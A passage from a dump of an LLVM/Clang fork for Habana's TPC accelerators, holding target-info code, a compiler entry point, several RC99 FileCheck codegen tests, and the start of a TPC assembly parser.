\"vp6\", \"vp7\",\n \"vp8\", \"vp9\", \"vp10\", \"vp11\", \"vp12\", \"vp13\", \"vp14\", \"vp15\",\n // SRF\n \"s0\", \"s1\", \"s2\", \"s3\", \"s4\", \"s5\", \"s6\", \"s7\",\n \"s8\", \"s9\", \"s10\", \"s11\", \"s12\", \"s13\", \"s14\", \"s15\",\n \"s16\", \"s17\", \"s18\", \"s19\", \"s20\", \"s21\", \"s22\", \"s23\",\n \"s24\", \"s25\", \"s26\", \"s27\", \"s28\", \"s29\", \"s30\", \"s31\",\n \"s32\", \"s33\", \"s34\", \"s35\", \"s36\",\n \"s_slfr\", \"s_lsfr_no_change\",\n // SPRF\n \"sp0\", \"sp1\",\"sp2\",\"sp3\",\"sp4\",\"sp5\",\"sp6\",\"sp7\",\n // IRF\n \"i0\", \"i1\", \"i2\", \"i3\", \"i4\", \"i5\", \"i6\", \"i7\",\n \"i8\", \"i9\", \"i10\", \"i11\", \"i12\", \"i13\", \"i14\", \"i15\",\n \"i16\", \"i17\", \"i18\", \"i19\", \"i20\", \"i21\", \"i22\", \"i23\",\n \"i24\", \"i25\", \"i26\", \"i27\", \"i28\", \"i29\", \"i30\", \"i31\",\n // ADRF\n \"ad0\", \"ad1\", \"ad2\", \"ad3\", \"ad4\", \"ad5\", \"ad6\", \"ad7\",\n // ARF\n \"a0\", \"a4\", \"a8\", \"a12\", \"a16\", \"a20\", \"a24\", \"a28\", \"a32\", \"a36\",\n // DRF\n \"d0\", \"d2\", \"a4\", \"d6\", \"a8\", \"d10\", \"a12\", \"d14\", \"a16\", \"d18\",\n \"a20\", \"d22\", \"a24\", \"d26\", \"a28\", \"d30\", \"a32\", \"d34\", \"a36\", \"d38\"\n};\n\n\nTPCTargetInfo::TPCTargetInfo(const llvm::Triple &Triple, const TargetOptions &TO)\n : TargetInfo(Triple) {\n BigEndian = false;\n TLSSupported = false;\n IntWidth = 32;\n IntAlign = 32;\n LongWidth = 32;\n LongLongWidth = 64;\n LongAlign = LongLongAlign = 32;\n PointerWidth = 32;\n PointerAlign = 32;\n AddrSpaceMap = &TPCAddrSpaceMap;\n UseAddrSpaceMapMangling = true;\n\n Float8Align = 32;\n Float8Width = 8;\n BFloat16Align = 32;\n BFloat16Width = 16;\n HalfWidth = 16;\n HalfAlign = 16;\n FloatWidth = 32;\n FloatAlign = 32;\n DoubleWidth = 64;\n DoubleAlign = 64;\n\n SuitableAlign = 32;\n SizeType = UnsignedInt;\n IntMaxType = SignedLongLong;\n IntPtrType = SignedInt;\n PtrDiffType = SignedInt;\n SigAtomicType = SignedLong;\n resetDataLayout(DataLayoutStringTPC);\n}\n\nTPCTargetInfo::CPUKind TPCTargetInfo::getCPUKind(StringRef Name) const {\n return llvm::StringSwitch<CPUKind>(Name)\n .Cases(\"dali\", \"goya\", CPUKind::Goya)\n .Case(\"gaudi\", CPUKind::Gaudi)\n .Default(CPUKind::Generic);\n}\n\nbool TPCTargetInfo::checkCPUKind(CPUKind Kind) const {\n // Perform any per-CPU checks necessary to determine if this CPU is\n // acceptable.\n switch (Kind) {\n case CPUKind::Generic:\n // No processor selected!\n return false;\n case CPUKind::Goya:\n case CPUKind::Gaudi:\n return true;\n }\n llvm_unreachable(\"Unhandled CPU kind\");\n}\n\nbool TPCTargetInfo::isValidCPUName(StringRef Name) const {\n return checkCPUKind(getCPUKind(Name));\n}\n\nvoid TPCTargetInfo::fillValidCPUList(SmallVectorImpl<StringRef> &Values) const {\n Values.emplace_back(\"goya\");\n Values.emplace_back(\"gaudi\");\n}\n\nbool TPCTargetInfo::setCPU(const std::string &Name) {\n return checkCPUKind(CPU = getCPUKind(Name));\n}\n\n\nvoid TPCTargetInfo::getTargetDefines(const LangOptions &Opts,\n MacroBuilder &Builder) const {\n DefineStd(Builder, \"tpc\", Opts);\n Builder.defineMacro(\"__TPC__\");\n if (Opts.NumTensors)\n Builder.defineMacro(\"MAX_TENSORS\", Twine(Opts.NumTensors));\n else\n Builder.defineMacro(\"MAX_TENSORS\", Twine(8));\n\n switch (CPU) {\n case CPUKind::Goya:\n Builder.defineMacro(\"__dali__\");\n Builder.defineMacro(\"__goya__\");\n break;\n case CPUKind::Gaudi:\n Builder.defineMacro(\"__gaudi__\");\n Builder.defineMacro(\"__gaudi_plus__\");\n break;\n default:\n llvm_unreachable(\"Invalid processor\");\n }\n\n Builder.defineMacro(\"MAX_VLM\", Twine(80*1024));\n\n switch (CPU) {\n case CPUKind::Goya:\n case CPUKind::Gaudi:\n Builder.defineMacro(\"MAX_SLM\", Twine(1024));\n break;\n default:\n llvm_unreachable(\"Invalid processor\");\n }\n\n if (Opts.LongIRF)\n Builder.defineMacro(\"__LONG_IRF__\");\n}\n\nbool TPCTargetInfo::initFeatureMap(llvm::StringMap<bool> &Features,\n DiagnosticsEngine &Diags,\n StringRef CPU,\n const std::vector<std::string> &FeaturesVec) const {\n if (CPU.equals(\"goya\"))\n Features[\"goya\"] = true;\n else if (CPU.equals(\"dali\"))\n Features[\"goya\"] = true;\n else if (CPU.equals(\"gaudi\"))\n Features[\"gaudi\"] = true;\n\n return TargetInfo::initFeatureMap(Features, Diags, CPU, FeaturesVec);\n}\n\nbool TPCTargetInfo::hasFeature(StringRef Feature) const {\n return llvm::StringSwitch<bool>(Feature)\n .Case(\"gaudi\", CPU == CPUKind::Gaudi)\n .Cases(\"goya\", \"dali\", CPU == CPUKind::Goya)\n .Default(false);\n}\n\nbool TPCTargetInfo::handleTargetFeatures(std::vector<std::string> &Features,\n DiagnosticsEngine &Diags) {\n return true;\n}\n\nArrayRef<TargetInfo::GCCRegAlias> TPCTargetInfo::getGCCRegAliases() const {\n // TODO: implement\n return None;\n}\n\nconst char *TPCTargetInfo::getClobbers() const {\n // TODO: implement\n return \"\";\n}\n\nbool TPCTargetInfo::validateAsmConstraint(const char *&Name,\n TargetInfo::ConstraintInfo &Info) const {\n // TODO: implement\n switch (*Name) {\n default:\n return false;\n case 'v': // Vector registers.\n case 's': // Scalar registers.\n case 'S': // Scalar predicate registers.\n case 'V': // Vector predicate registers.\n Info.setAllowsRegister();\n return true;\n }\n}\n\nArrayRef<Builtin::Info> TPCTargetInfo::getTargetBuiltins() const {\n return llvm::makeArrayRef(BuiltinInfo,\n clang::TPC::LastTSBuiltin - Builtin::FirstTSBuiltin);\n}\n\nArrayRef<const char *> TPCTargetInfo::getGCCRegNames() const {\n return llvm::makeArrayRef(GCCRegNames);\n}\n\n}\n}\n#endif\n" }, { "alpha_fraction": 0.5324881076812744, "alphanum_fraction": 0.58795565366745, "avg_line_length": 41.06666564941406, "blob_id": "e34bd9476c640447f84397d802298ae5edea5dc3", "content_id": "47161bedaca248a0d9c90c8e69df4a03e61d29c3", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 631, "license_type": "permissive", "max_line_length": 108, "num_lines": 15, "path": "/clang/test/RC99/CodeGen/bool256-06.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -O0 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n// RUN: %clang_cc1 -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n// RUN: %clang_cc1 -S -O0 -triple tpc-none-none -std=rc99 -target-cpu gaudi -bfloat16 %s -o - | FileCheck %s\n// RUN: %clang_cc1 -S -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi -bfloat16 %s -o - | FileCheck %s\n\nvoid main(int dest, _Bool x) {\n bool256 __local *dptr = (bool256 __local*)dest;\n bool256 res = x;\n\n *dptr = res;\n}\n\n// CHECK: mov [[SPREG:%SP[0-9]+]], %S1\n// CHECK: mov [[VPREG:%VP[0-9]+]], [[SPREG]]\n// CHECK: st_l_v %S0,{{.*}} [[VPREG]]\n" }, { "alpha_fraction": 0.5430359840393066, "alphanum_fraction": 0.6040688753128052, "avg_line_length": 38.9375, "blob_id": "a21b9197fde235e0070e72152d8920317a38ccb9", "content_id": "9e0900b2e8be49c1d96f73c78a3e47425b70d18b", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 639, "license_type": "permissive", "max_line_length": 108, "num_lines": 16, "path": "/clang/test/RC99/CodeGen/bool256-02.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -O0 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n// RUN: %clang_cc1 -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n// RUN: %clang_cc1 -S -O0 -triple tpc-none-none -std=rc99 -target-cpu gaudi -bfloat16 %s -o - | FileCheck %s\n// RUN: %clang_cc1 -S -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi -bfloat16 %s -o - | FileCheck %s\n\nvoid main(int dest, int src) {\n bool256 __local *dptr = (bool256 __local*)dest;\n bool256 __local *sptr = (bool256 __local*)src;\n bool256 res;\n\n res = *sptr;\n *dptr = res;\n}\n\n// CHECK: ld_l_v %VP[[REG:[0-9]+]], %S1\n// CHECK: st_l_v %S0,{{.*}} %VP[[REG]]\n" }, { "alpha_fraction": 0.6296674609184265, "alphanum_fraction": 0.6329184174537659, "avg_line_length": 33.84142303466797, "blob_id": "2c6b6d80858f16121a285f5742920c3f8fd5bb22", "content_id": "0f65da53293289d34b645362cf74446b574b4bc5", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 10766, "license_type": "permissive", "max_line_length": 80, "num_lines": 309, "path": "/clang/tools/llvm-tpc/Compiler.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===- Compiler.cpp - TPC LLVM compiler entry point -----------------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n//===----------------------------------------------------------------------===//\n\n#include \"API.h\"\n#include \"MemoryManager.h\"\n#include \"lib/Target/TPC/latencies.h\"\n#include \"clang/Basic/CodeGenOptions.h\"\n#include \"clang/Basic/Diagnostic.h\"\n#include \"clang/Basic/DiagnosticIDs.h\"\n#include \"clang/Basic/LangOptions.h\"\n#include \"clang/Basic/TargetOptions.h\"\n#include \"clang/CodeGen/BackendUtil.h\"\n#include \"clang/Frontend/TextDiagnosticPrinter.h\"\n#include \"clang/Lex/HeaderSearchOptions.h\"\n#include \"llvm/ADT/StringSwitch.h\"\n#include \"llvm/Analysis/TargetLibraryInfo.h\"\n#include \"llvm/Analysis/TargetTransformInfo.h\"\n#include \"llvm/CodeGen/DFAPacketizer.h\"\n#include \"llvm/CodeGen/MachineModuleInfo.h\"\n#include \"llvm/CodeGen/TargetPassConfig.h\"\n#include \"llvm/CodeGen/TargetSubtargetInfo.h\"\n#include \"llvm/IR/AutoUpgrade.h\"\n#include \"llvm/IR/DiagnosticInfo.h\"\n#include \"llvm/IR/DiagnosticPrinter.h\"\n#include \"llvm/IR/IRPrintingPasses.h\"\n#include \"llvm/IR/LegacyPassManager.h\"\n#include \"llvm/IR/Module.h\"\n#include \"llvm/IR/Verifier.h\"\n#include \"llvm/IRReader/IRReader.h\"\n#include \"llvm/InitializePasses.h\"\n#include \"llvm/PassRegistry.h\"\n#include \"llvm/Support/CommandLine.h\"\n#include \"llvm/Support/SourceMgr.h\"\n#include \"llvm/Support/TargetRegistry.h\"\n#include \"llvm/Support/TargetSelect.h\"\n#include \"llvm/Support/WithColor.h\"\n#include \"llvm/Target/TargetInfoTPC.h\"\n#include \"llvm/Target/TargetMachine.h\"\n#include \"llvm/Transforms/IPO.h\"\n#include \"llvm/Transforms/IPO/AlwaysInliner.h\"\n#include \"llvm/Transforms/IPO/PassManagerBuilder.h\"\n#include <csignal>\n\n#define GET_SUBTARGETINFO_HEADER\n#include \"lib/Target/TPC/TPCGenSubtargetInfo.inc\"\n\nusing namespace llvm;\nusing namespace llvm::tpc;\nusing namespace clang;\n\nnamespace {\n\ntemplate <unsigned Max> struct UnsignedLimitParser : cl::parser<unsigned> {\n using cl::parser<unsigned>::parser;\n\n bool parse(cl::Option &option, StringRef argName, StringRef arg,\n unsigned &val) {\n if (cl::parser<unsigned>::parse(option, argName, arg, val))\n return true;\n\n if (val > Max)\n return option.error(\"'\" + arg + \"' value larger than \" + utostr(Max) +\n \"!\");\n\n return false;\n }\n};\n\n/// A diagnostic handler that doesn't exit on the first error.\nstruct NoExitDiagnosticHandler : public DiagnosticHandler {\n bool &hasError;\n\n NoExitDiagnosticHandler(bool &hasError) : hasError(hasError) {}\n\n bool handleDiagnostics(const DiagnosticInfo &di) override;\n};\n\n} // end anonymous namespace\n\n// Determine optimization level.\nstatic cl::opt<unsigned, false, UnsignedLimitParser<3u>>\n optLevel(\"O\", cl::desc(\"Optimization level. [0-3] (default = 2)\"),\n cl::AlwaysPrefix, cl::ZeroOrMore, cl::init(2u));\n\n/// Reset the static Automaton.\nstatic void initAutomaton() {\n // The Automaton is a static variable inside `createDFAPacketizer()` function.\n InstrItineraryData iid;\n std::unique_ptr<DFAPacketizer> p(\n static_cast<TPCGenSubtargetInfo *>(nullptr)->createDFAPacketizer(&iid));\n\n // Reset the Automaton.\n p->clearResources();\n}\n\nstatic void handleLLVMFatalError(void *, const std::string &reason, bool) {\n WithColor::error(errs()) << reason << '\\n';\n raise(SIGABRT);\n}\n\nbool NoExitDiagnosticHandler::handleDiagnostics(const DiagnosticInfo &di) {\n if (di.getSeverity() == DS_Error)\n hasError = true;\n\n if (auto *remark = dyn_cast<DiagnosticInfoOptimizationBase>(&di))\n if (!remark->isEnabled())\n return true;\n\n // Print the message with a prefix based on the severity.\n auto &os = errs();\n DiagnosticPrinterRawOStream printer(os);\n os << LLVMContext::getDiagnosticMessagePrefix(di.getSeverity()) << \": \";\n di.print(printer);\n os << '\\n';\n return true;\n}\n\nstatic void InlineAsmDiagHandler(const SMDiagnostic &diag, void *context,\n unsigned locCookie) {\n auto *handler = static_cast<NoExitDiagnosticHandler *>(context);\n if (diag.getKind() == SourceMgr::DK_Error)\n handler->hasError = true;\n\n diag.print(nullptr, errs());\n}\n\nunsigned llvm_tpc_compileModule(const char *moduleBuf, unsigned moduleSize,\n char **elfBin, char **asmIR, const char *cpu,\n bool verify) {\n LLVMContext context;\n\n // Set a diagnostic handler that doesn't exit on the first error.\n bool hasError = false;\n context.setDiagnosticHandler(\n std::make_unique<NoExitDiagnosticHandler>(hasError));\n context.setInlineAsmDiagnosticHandler(\n InlineAsmDiagHandler,\n const_cast<DiagnosticHandler *>(context.getDiagHandlerPtr()));\n\n SMDiagnostic diag;\n auto module =\n parseIR({StringRef(moduleBuf, moduleSize), \"tpc_kernel\"}, diag, context);\n if (!module) {\n diag.print(nullptr, errs());\n return 0;\n }\n\n module->setTargetTriple(Triple::normalize(\"tpc\"));\n\n if (asmIR) {\n unsigned size;\n GlobalBufOStream os(*asmIR, size);\n module->print(os, nullptr);\n os.write(\"\", 1);\n }\n\n IntrusiveRefCntPtr<DiagnosticOptions> diaOptions(new DiagnosticOptions());\n IntrusiveRefCntPtr<DiagnosticsEngine> diags(\n new DiagnosticsEngine(new DiagnosticIDs(), diaOptions));\n\n diags->setClient(new TextDiagnosticPrinter(dbgs(), diaOptions.get()));\n\n unsigned optLevel = ::optLevel;\n assert(optLevel <= 3);\n\n HeaderSearchOptions headerOptions;\n LangOptions langOptions;\n DataLayout dataLayout(DataLayoutStringTPC);\n\n clang::TargetOptions targetOptions;\n targetOptions.CodeModel = \"default\";\n targetOptions.CPU = (!cpu || !*cpu) ? \"goya\" : cpu;\n targetOptions.Triple = module->getTargetTriple();\n\n CodeGenOptions cgOptions;\n cgOptions.OptimizationLevel = optLevel;\n cgOptions.UnrollLoops = optLevel > 1;\n cgOptions.CodeModel = targetOptions.CodeModel;\n cgOptions.ThreadModel = \"single\";\n\n // At O0 we want to fully disable inlining outside of cases marked with\n // 'alwaysinline' that are required for correctness.\n cgOptions.setInlining((optLevel == 0) ? CodeGenOptions::OnlyAlwaysInlining\n : CodeGenOptions::NormalInlining);\n\n // Set to MAX_SLM of the architecture.\n cgOptions.ScalarLocalMemory = 1024;\n\n cgOptions.LutWarn = true;\n cgOptions.CompressInstructions = false;\n cgOptions.VerifyModule = verify;\n cgOptions.setEmbedBitcode(CodeGenOptions::Embed_Bitcode);\n\n unsigned elfSize = 0;\n clang::EmitBackendOutput(\n *diags, headerOptions, cgOptions, targetOptions, langOptions, dataLayout,\n module.get(), Backend_EmitObj,\n std::make_unique<GlobalBufOStream>(*elfBin, elfSize));\n\n if (hasError || diags->hasErrorOccurred())\n return 0;\n\n return elfSize;\n}\n\nvoid llvm_tpc_startup(const char *args) {\n // Override the LLVM fatal error handlers.\n install_bad_alloc_error_handler(handleLLVMFatalError);\n install_fatal_error_handler(handleLLVMFatalError);\n\n // Initialize targets and passes.\n InitializeAllTargets();\n InitializeAllTargetInfos();\n InitializeAllTargetMCs();\n InitializeAllAsmPrinters();\n InitializeAllAsmParsers();\n InitializeAllDisassemblers();\n\n //\n // Function private (inner) static variables are initialized lazily. To make\n // sure they are initialized in the \"global allocation heap\" context, we\n // force their initialization, by calling their parent functions.\n //\n\n // Initialize `static std::unordered_set<std::string> PrintFuncNames`.\n isFunctionInPrintList(\"\");\n\n // Initialize `static IntrusiveRefCntPtr<FileSystem> FS`.\n vfs::getRealFileSystem();\n\n // Initialize the static Automaton.\n initAutomaton();\n\n // Tokenize command line arguments.\n SmallVector<const char *, 20> argv(1, \"tpc-llvm\");\n BumpPtrAllocator allocator;\n StringSaver saver(allocator);\n if (Triple(sys::getProcessTriple()).isOSWindows())\n cl::TokenizeWindowsCommandLine(args, saver, argv);\n else\n cl::TokenizeGNUCommandLine(args, saver, argv);\n\n // Search the last occurrence of -O.\n auto itOptLevel = find_if(reverse(argv), [](StringRef arg) {\n return arg.size() == 3 && arg.consume_front(\"-O\");\n });\n\n // Add the common arguments (independent of the optimization level).\n argv.insert(itOptLevel.base(), {\n \"-simplifycfg-sink-common=false\",\n \"-enable-load-pre=false\",\n \"-loop-unswitch-threshold=0\",\n \"-unroll-max-count=4\",\n \"-dontAnalysis=1\",\n });\n\n // If we have found -O0 then expand its command line options.\n if (itOptLevel != argv.rend() && (*itOptLevel)[2] == '0') {\n argv.insert(itOptLevel.base(), {\n \"-unroll-runtime=false\",\n \"-unroll-pipelined=true\",\n \"-enable-misched=false\",\n \"-enable-post-misched=false\",\n \"-optimize-predicates=false\",\n \"-set_indx-coalescer=false\",\n \"-tpc-single-packets=true\",\n \"-tpc-debug-nops=8\",\n });\n }\n // Otherwise, add the default command line options, common to all optimization\n // levels above 0.\n else {\n argv.insert(itOptLevel.base(), {\n \"-unroll-runtime=false\",\n \"-tpc-unroll-count=4\",\n \"-unroll-pipelined=false\",\n \"-enable-misched=true\",\n \"-enable-post-misched=true\",\n \"-optimize-predicates=true\",\n \"-set_indx-coalescer=true\",\n \"-tpc-single-packets=false\",\n \"-tpc-debug-nops=0\",\n \"-enable-cast-swizzle-opt=true\",\n });\n }\n\n cl::ParseCommandLineOptions(argv.size(), argv.data(), \"TPC LLVM compiler\\n\",\n &errs());\n}\n\nvoid llvm_tpc_shutdown() {\n remove_bad_alloc_error_handler();\n remove_fatal_error_handler();\n llvm_shutdown();\n}\n\nvoid llvm_tpc_cleanup() {\n // Reset global and static variables.\n TPCLatencyEvaluation::latenciesDB.clear();\n TPCLatencyEvaluation::sopDB.clear();\n initAutomaton();\n}\n" }, { "alpha_fraction": 0.6083551049232483, "alphanum_fraction": 0.650130569934845, "avg_line_length": 14.319999694824219, "blob_id": "33beb5b9e33e025f600fc97aeb70defd8349a6a4", "content_id": "a0c44fc60769af27dac2f246eaae1ddde477e4ac", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 383, "license_type": "permissive", "max_line_length": 75, "num_lines": 25, "path": "/clang/test/RC99/restrictions/addrspace-11.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -fsyntax-only -std=rc99 -triple tpc-none-none -verify %s\n// expected-no-diagnostics\n// vector addrspace only\nint Global_Var;\nstruct Good_Vect {\n int64 N;\n union {\n float64 F;\n short128 H;\n } U;\n};\n\nstruct Users {\n bool256 User;\n struct Good_Vect Var;\n int64 NN;\n};\n\nstruct Good_Vect Var;\n\nvoid main()\n{\n static struct Users St_Var;\n St_Var.NN = 1;\n}\n" }, { "alpha_fraction": 0.5014925599098206, "alphanum_fraction": 0.5800995230674744, "avg_line_length": 46.85714340209961, "blob_id": "ce847077fd087412370ae457954faf64579f57c6", "content_id": "3ef726a7cbb07a91f9baa7c553087ce9782a6d3a", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1005, "license_type": "permissive", "max_line_length": 98, "num_lines": 21, "path": "/clang/test/RC99/pragma-index-space.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -S -emit-llvm -O1 %s -o - | FileCheck %s\n\n// CHECK: define {{.*}}void @main() {{.*}} !index_space [[METADATA:.*]] {\n// CHECK: [[METADATA]] = !{i32 0, i32 1, !\"x * y\", !\"1\", !\"1\"}\n\nvoid main(tensor Tensor0_T, tensor Tensor1_T) {\n#pragma index_space(0, 1)(\"x * y\", \"1\", \"1\")\n int5 index_space_start = get_index_space_offset();\n int5 index_space_end = index_space_start + get_index_space_size();\n for (int dim2 = index_space_start[2] * 1; dim2 < index_space_end[2] * 1; dim2 = dim2 + 1) {\n for (int dim0 = index_space_start[0] * 64; dim0 < index_space_end[0] * 64; dim0 = dim0 + 64) {\n#pragma loop_unroll(4)\n for (int dim1 = index_space_start[1] * 4; dim1 < index_space_end[1] * 4; dim1 = dim1 + 1) {\n int5 coords = {dim0, dim1, dim2};\n float64 Tensor0 = v_f32_ld_tnsr_i(coords, Tensor0_T);\n int64 cast_f32_to_i32_ID_0 = (int64)(Tensor0);\n i32_st_tnsr_i_v(coords, Tensor1_T, cast_f32_to_i32_ID_0);\n }\n }\n }\n}\n" }, { "alpha_fraction": 0.5130890011787415, "alphanum_fraction": 0.614310622215271, "avg_line_length": 39.92856979370117, "blob_id": "5fa109dafac748d9e328e43c52298dce07a56c4d", "content_id": "667208378b1ec3a73daa3f4d23dfbd684505b115", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 573, "license_type": "permissive", "max_line_length": 135, "num_lines": 14, "path": "/clang/test/RC99/Intrinsics/convert_to/convert_uint64_to_int64.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -emit-llvm -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi %s -o - | FileCheck --check-prefixes=CHECK-IR %s\n\n\nvoid main(int src, int dest) {\n uint64 *sptr = (uint64 *)src;\n int64 *dptr = (int64 *)dest;\n uint64 src_val = *sptr;\n *dptr = convert_uint64_to_int64(src_val, 0);\n}\n\n// CHECK-IR: call <64 x i32> @llvm.tpc.convert.v64i32.v64i32.i1(<64 x i32> {{.*}}, i8 3, i32 512, <64 x i32> undef, i1 true, i1 false)\n\n// CHECK-ASM: ld_l_v [[SRC:%V[0-9]+]], %S0\n// CHECK-ASM: convert.u32 all_lanes target_type=int32 rhne %V{{[0-9]+}}, [[SRC]]\n" }, { "alpha_fraction": 0.4906832277774811, "alphanum_fraction": 0.5714285969734192, "avg_line_length": 22, "blob_id": "24cf7357c201adb9c5f9816748c927743c4238c2", "content_id": "43ed67e7a7fe89530f4d5b8d8008f6f982be46ae", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 161, "license_type": "permissive", "max_line_length": 80, "num_lines": 7, "path": "/clang/test/RC99/main/main-24.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -triple tpc-none-none -std=rc99 -O1 %s -o - | FileCheck %s\n\nvoid main(_Bool x) {\n *(int __local *)0x100 = x;\n}\n\n// CHECK: st_l 0x100, %S0\n" }, { "alpha_fraction": 0.6286977529525757, "alphanum_fraction": 0.6365910768508911, "avg_line_length": 32.12343215942383, "blob_id": "dace59e5532981a87b5299b331e0f3f54c1536c2", "content_id": "c65e67d34ef42b93d7694916fab28f33b39f9695", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 113514, "license_type": "permissive", "max_line_length": 148, "num_lines": 3427, "path": "/llvm/lib/Target/TPC/AsmParser/TPCAsmParser.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===---- TPCAsmParser.cpp --- Parse TPC assembly instructions ------------===//\n//\n// The LLVM Compiler Infrastructure\n//\n// This file is distributed under the University of Illinois Open Source\n// License. See LICENSE.TXT for details.\n//\n//===----------------------------------------------------------------------===//\n//\n//===----------------------------------------------------------------------===//\n\n#include \"MCTargetDesc/InstructionDB.h\"\n#include \"MCTargetDesc/TPCMCTargetDesc.h\"\n#include \"MCTargetDesc/TPCMCInstrInfo.h\"\n#include \"MCTargetDesc/TPCInstPrinter.h\"\n#include \"llvm/ADT/APFloat.h\"\n#include \"llvm/ADT/APInt.h\"\n#include \"llvm/ADT/APSInt.h\"\n#include \"llvm/ADT/SmallBitVector.h\"\n#include \"llvm/ADT/STLExtras.h\"\n#include \"llvm/ADT/StringSwitch.h\"\n#include \"llvm/BinaryFormat/ELF.h\"\n#include \"llvm/MC/MCContext.h\"\n#include \"llvm/MC/MCExpr.h\"\n#include \"llvm/MC/MCSectionELF.h\"\n#include \"llvm/MC/MCFragment.h\"\n#include \"llvm/MC/MCInst.h\"\n#include \"llvm/MC/MCInstBuilder.h\"\n#include \"llvm/MC/MCParser/MCParsedAsmOperand.h\"\n#include \"llvm/MC/MCParser/MCTargetAsmParser.h\"\n#include \"llvm/MC/MCStreamer.h\"\n#include \"llvm/MC/MCSubtargetInfo.h\"\n#include \"llvm/Support/CommandLine.h\"\n#include \"llvm/Support/FormatVariadic.h\"\n#include \"llvm/Support/Path.h\"\n#include \"llvm/Support/TargetRegistry.h\"\n#include \"llvm/Target/TPCMetadataSection.h\"\n#include \"llvm/Target/TPCKernelInfo.h\"\n#include \"TPCAsmInstCompress.h\"\n#include <algorithm>\n#include <bitset>\n#include <map>\n#include <unordered_set>\n#include <set>\n\n\nusing namespace llvm;\nusing TPCII::SlotParser;\n\n#define DEBUG_TYPE \"tpc-asm\"\n\nnamespace {\n\n// Names of parsers, needed for diagnostics only.\nconst char * SlotName[] = {\n \"special\",\n \"load\",\n \"scalar\",\n \"vector\",\n \"store\"\n};\n\n\nenum class LongRegisterKind {\n ARF,\n DRF,\n ZRF\n};\n\n\nenum class LoopCompare {\n GT = 0x00,\n GE = 0x01,\n LT = 0x02,\n LE = 0x03,\n EQ = 0x04,\n NE = 0x05\n};\n\nstatic const StringRef LoopCompareText[] = {\n \">\", \">=\", \"<\", \"<=\", \"==\", \"!=\"\n};\n\nstatic const char *IndexMapSectionName = \".IndexMap\";\n\nstatic StringRef getStringFromLoc(SMLoc Start, SMLoc End) {\n assert(End.getPointer() >= Start.getPointer());\n return StringRef(Start.getPointer(), End.getPointer() - Start.getPointer());\n}\n\n\nclass TPCOperand : public MCParsedAsmOperand {\n // Enum for operand types. SwitchSet is a special case:\n // We have a lot of switches that determine signature and encoding format\n // So we have a general switch mask, but it must have different type\n // if some specific switches are present in the set.\n // That's why we desgnate a base for a base SwitchSet that does not\n // change signature or encoding of instruction, and other switches are added to it\n // bitwise. Because of that single switches should not intersect bitwise.\npublic:\n enum class OpKind : uint64_t {\n Invalid,\n Token,\n Reg,\n Imm,\n DataType,\n DimMask,\n Comparison,\n Accumulator,\n MemRI,\n ABCinNormSel,\n Predicate,\n RoundMode,\n Rhu,\n RhazRs,\n Biased,\n GroupDesc,\n DualGroup,\n WR,\n SDG,\n WEG,\n RegSelFrom,\n RegSelTo,\n BothDivMod,\n X2,\n MovDGAll,\n MovDGPack,\n MovDGUnpack,\n SwitchSet = 32768,\n SwitchLutPtr = SwitchSet | 1,\n SwitchAll = SwitchSet | 8,\n };\n\nprivate:\n OpKind Kind;\n SMLoc StartLoc, EndLoc;\n\n struct RegOp {\n int Class; // Like TPC::SRFRegClass\n unsigned Num;\n };\n\n struct ImmOp {\n const MCExpr *Expr = nullptr;\n int64_t Val;\n };\n\n struct PredicateOp {\n unsigned RegNum;\n bool Polarity;\n bool IsVector;\n };\n\n struct MemRIInfo {\n unsigned Reg;\n unsigned Offset;\n };\n\n struct I8Const {\n unsigned Val;\n };\n\n struct MDGOp {\n unsigned Val;\n StringRef Name;\n };\n\n struct RhuOp {\n unsigned Val;\n };\n\n struct RhazRsOp {\n unsigned Val;\n };\n\n struct RoundModeOp {\n StringRef Name;\n unsigned Val;\n };\n\n struct RegSelFromOp {\n StringRef Name;\n unsigned Val;\n };\n\n struct RegSelToOp {\n StringRef Name;\n unsigned Val;\n };\n\n struct BothDivModOp {\n unsigned Val;\n };\n\n struct X2Op {\n unsigned Val;\n };\n\n struct MovDGAllOp {\n unsigned Val;\n };\n\n struct MovDGPackOp {\n unsigned Val;\n };\n\n struct MovDGUnpackOp {\n unsigned 